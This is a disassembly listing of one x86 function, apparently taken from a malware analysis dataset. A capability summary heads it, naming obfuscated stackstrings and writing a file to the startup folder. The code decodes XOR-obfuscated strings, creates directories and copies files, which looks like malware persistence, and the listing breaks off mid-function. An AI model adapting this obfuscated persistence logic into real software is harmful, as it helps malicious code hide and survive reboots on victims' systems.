Function at 0x40b8e0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Copy file
Create directory
Get common file path
Get startup folder
Write file to startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x54b0b9
push eax
mov dword fs:[0], esp
mov eax, 0x1468
push ebx
call fcn.00434710
mov dword [ebp - 0x38], 0
cmp byte [0x582b3e], 0
mov al, byte [0x582b3f]
mov byte [ebp - 0x78], al
mov al, byte [0x583c0e]
push esi
mov byte [ebp - 0x7d], al
mov al, byte [0x582b20]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [ebp - 0x33], al
je 0x40c004
mov dword [ebp - 0x18], 0xf9d492f1
mov edx, 0x583d74
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x310]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x310]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xa84]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x310], xmm1
call fcn.0041ab20
add esp, 4
mov dword [ebp - 4], 0
lea eax, [ebp - 0xa84]
cmp dword [ebp - 0xa70], 0xf
push 0
cmova eax, dword [ebp - 0xa84]
push eax
call edi
test eax, eax
je 0x40bff2
mov dword [ebp - 0x18], 0xc5e992f1
lea edx, [ebp - 0xa84]
mov dword [ebp - 0x14], 0x9fa944b4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x18], 0x61455d1a
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x320]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x320]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xc58]
xorps xmm1, xmmword [ebp - 0x30]
push eax
mov byte [ebp - 0x32], 0
movaps xmmword [ebp - 0x320], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 1
lea eax, [ebp - 0xc58]
cmp dword [ebp - 0xc44], 0xf
push 0
cmova eax, dword [ebp - 0xc58]
push eax
call edi
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x40bc4c
push 0x104
lea eax, [ebp - 0x1370]
push 0
push eax
call fcn.004359a0
add esp, 0xc
lea eax, [ebp - 0x1370]
push eax
push 0
push 0
push 0x1a
push 0
call esi
mov dword [ebp - 0x18], 0xc5e992f1
mov dword [ebp - 0x14], 0x9fa944b4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x18], 0x61455d1a
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x330]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x330]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xff8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x330], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 2
lea edx, [ebp - 0x1370]
push eax
lea ecx, [ebp - 0xd88]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xff8]
call fcn.00402df0
cmp dword [ebp - 0xd74], 0xf
lea ecx, [ebp - 0xd88]
cmova ecx, dword [ebp - 0xd88]
call fcn.004e4050
test al, al
je 0x40bc2e
sub esp, 0x18
lea eax, [ebp - 0xc58]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 5
sub esp, 0x18
lea eax, [ebp - 0xd88]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 6
mov byte [ebp - 4], 4
xor cl, cl
call fcn.004dd2b0
add esp, 0x30
test eax, eax
jne 0x40bc2e
mov byte [ebp - 0x32], 1
jmp 0x40bc3d
push ecx
lea ecx, [ebp - 0xc58]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd88]
call fcn.00402df0
mov dword [ebp - 0x18], 0xddef80f1
lea edx, [ebp - 0xa84]
mov dword [ebp - 0x14], 0x9c8372b0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x18], 0xf24511b
mov dword [ebp - 0x14], 0xa0adec9c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x340]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x340]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xc28]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x340], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 7
lea eax, [ebp - 0xc28]
cmp dword [ebp - 0xc14], 0xf
push 0
cmova eax, dword [ebp - 0xc28]
push eax
call edi
test eax, eax
je 0x40bfbf
push 0x104
lea eax, [ebp - 0x1478]
push 0
push eax
call fcn.004359a0
add esp, 0xc
lea eax, [ebp - 0x1478]
push eax
push 0
push 0
push 0x1a
push 0
call esi
mov dword [ebp - 0x18], 0xe0c893f1
mov dword [ebp - 0x14], 0xa1855282
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8f0], eax
mov dword [ebp - 0x8ec], ecx
mov dword [ebp - 0x18], 0x19264b2a
mov dword [ebp - 0x14], 0xd0abefa7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8e8], eax
mov dword [ebp - 0x8e4], ecx
mov dword [ebp - 0x18], 0xf0a951c9
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8e0], eax
mov dword [ebp - 0x8dc], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8d8], eax
mov dword [ebp - 0x8d4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x8f0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x8f0], xmm1
movaps xmm1, xmmword [ebp - 0x8e0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x8f0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1088]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x8e0], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 8
lea edx, [ebp - 0x1478]
push eax
lea ecx, [ebp - 0xa6c]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1088]
call fcn.00402df0
cmp dword [ebp - 0xa58], 0xf
lea eax, [ebp - 0xa6c]
cmova eax, dword [ebp - 0xa6c]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 0xa
call fcn.004e4120
add esp, 0x18
test al, al
je 0x40bfa1
mov dword [ebp - 0x18], 0xd1e3a3f1
lea edx, [ebp - 0xc28]
mov dword [ebp - 0x14], 0x83b4788e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x18], 0x82b5558
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x350]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x350]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x10a0]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x350], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xc
cmp dword [ecx + 0x14], 0xf
jbe 0x40bf68
mov ecx, dword [ecx]
cmp dword [ebp - 0xa58], 0xf
lea eax, [ebp - 0xa6c]
push 0
cmova eax, dword [ebp - 0xa6c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x10a0]
call fcn.00402df0
test esi, esi
je 0x40bfa1
mov byte [ebp - 0x32], 1
jmp 0x40bfb0
push ecx
lea ecx, [ebp - 0xc28]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xa6c]
call fcn.00402df0
cmp byte [ebp - 0x32], 0
jne 0x40bfd4
push ecx
lea ecx, [ebp - 0xa84]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xc28]
call fcn.00402df0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xc58]
call fcn.00402df0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa84]
call fcn.00402df0
cmp byte [ebp - 0x33], 0
je 0x40f393
mov dword [ebp - 0x18], 0xc4e193f1
mov edx, 0x583d74
mov dword [ebp - 0x14], 0xf3c06db4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x360]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x360]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1a8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x360], xmm1
call fcn.0041ab20
add esp, 4
mov dword [ebp - 4], 0xd
lea eax, [ebp - 0x1a8]
cmp dword [ebp - 0x194], 0xf
push 0
cmova eax, dword [ebp - 0x1a8]
push eax
call edi
test eax, eax
je 0x40f381
mov dword [ebp - 0x18], 0xc6f293f1
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x14], 0x83af6aa6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x18], 0x61455d1f
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x370]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x370]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xcb8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
mov byte [ebp - 0x31], 0
movaps xmmword [ebp - 0x370], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0xcb8]
cmp dword [ebp - 0xca4], 0xf
push 0
cmova eax, dword [ebp - 0xcb8]
push eax
call edi
test eax, eax
je 0x40c4b9
mov dword [ebp - 0x18], 0xc6f293f1
mov dword [ebp - 0x14], 0x83af6aa6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8d0], eax
mov dword [ebp - 0x8cc], ecx
mov dword [ebp - 0x18], 0x12195d1f
mov dword [ebp - 0x14], 0x8ebaff99
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8c8], eax
mov dword [ebp - 0x8c4], ecx
mov dword [ebp - 0x18], 0x99b35983
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8c0], eax
mov dword [ebp - 0x8bc], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8b8], eax
mov dword [ebp - 0x8b4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x8d0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x8d0], xmm1
movaps xmm1, xmmword [ebp - 0x8c0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x8d0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x10b8]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x8c0], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x18], 0xe8c39be1
mov dword [ebp - 0x14], 0xa3905f9d
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x380], ecx
mov dword [ebp - 0x37c], edx
mov dword [ebp - 0x18], 0x20117d32
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x380]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x380]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x380], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xa9c]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x10b8]
call fcn.00402df0
cmp dword [ebp - 0xa88], 0xf
lea eax, [ebp - 0xa9c]
cmova eax, dword [ebp - 0xa9c]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x11
call fcn.004e4120
add esp, 0x18
test al, al
je 0x40c49b
mov dword [ebp - 0x18], 0xdfe1a7f1
lea edx, [ebp - 0xcb8]
mov dword [ebp - 0x14], 0x92a430b4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x18], 0x61453c02
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x390]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x390]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x10d0]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x390], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x13
cmp dword [ecx + 0x14], 0xf
jbe 0x40c462
mov ecx, dword [ecx]
cmp dword [ebp - 0xa88], 0xf
lea eax, [ebp - 0xa9c]
push 0
cmova eax, dword [ebp - 0xa9c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x10d0]
call fcn.00402df0
test esi, esi
je 0x40c49b
mov byte [ebp - 0x31], 1
jmp 0x40c4aa
push ecx
lea ecx, [ebp - 0xcb8]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xa9c]
call fcn.00402df0
mov dword [ebp - 0x18], 0xc7e999f1
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x14], 0x92b27db4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x18], 0x61454810
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3a0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xa28]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x3a0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0xa28]
cmp dword [ebp - 0xa14], 0xf
push 0
cmova eax, dword [ebp - 0xa28]
push eax
call edi
test eax, eax
je 0x40d1de
mov dword [ebp - 0x18], 0xc0edfaf1
mov dword [ebp - 0x14], 0x81a37bbf
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x970], eax
mov dword [ebp - 0x96c], ecx
mov dword [ebp - 0x18], 0x3d315a17
mov dword [ebp - 0x14], 0xceaae894
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x968], eax
mov dword [ebp - 0x964], ecx
mov dword [ebp - 0x18], 0xeba25084
mov dword [ebp - 0x14], 0x78e98530
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x960], eax
mov dword [ebp - 0x95c], ecx
mov dword [ebp - 0x18], 0x57b606b7
mov dword [ebp - 0x14], 0xdc99a895
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x958], eax
mov dword [ebp - 0x954], ecx
mov dword [ebp - 0x18], 0xb6249c0e
mov dword [ebp - 0x14], 0xd4fbbc75
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x950], eax
mov dword [ebp - 0x94c], ecx
mov dword [ebp - 0x18], 0x2d77deaa
mov dword [ebp - 0x14], 0x6d869c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x948], eax
mov dword [ebp - 0x944], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xb624f261
mov dword [ebp - 0x14], 0xd4fbbc75
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x2d77deaa
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], 0x6d869c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x970]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x970], xmm1
movaps xmm1, xmmword [ebp - 0x960]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x960], xmm1
movaps xmm1, xmmword [ebp - 0x950]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
mov byte [ebp - 0x32], 0
lea eax, [ebp - 0x970]
movaps xmmword [ebp - 0x950], xmm1
push eax
lea ecx, [ebp - 0x10e8]
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x18], 0xedd084ec
mov dword [ebp - 0x14], 0xf3814a90
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x3b0], ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3b0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3b0]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x3b0], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xae4]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x10e8]
call fcn.00402df0
cmp dword [ebp - 0xad0], 0xf
lea eax, [ebp - 0xae4]
cmova eax, dword [ebp - 0xae4]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x18
mov byte [ebp - 4], 0x17
call fcn.004e4120
add esp, 0x18
test al, al
je 0x40c98c
mov dword [ebp - 0x18], 0xdce1b8f1
lea edx, [ebp - 0xa28]
mov dword [ebp - 0x14], 0x96a87dbf
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8b0], eax
mov dword [ebp - 0x8ac], ecx
mov dword [ebp - 0x18], 0x2246304
mov dword [ebp - 0x14], 0xceaae69b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8a8], eax
mov dword [ebp - 0x8a4], ecx
mov dword [ebp - 0x18], 0xf3e94b93
mov dword [ebp - 0x14], 0x1be48b1c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8a0], eax
mov dword [ebp - 0x89c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x898], eax
mov dword [ebp - 0x894], ecx
mov dword [ebp - 0x18], 0xa980d4ad
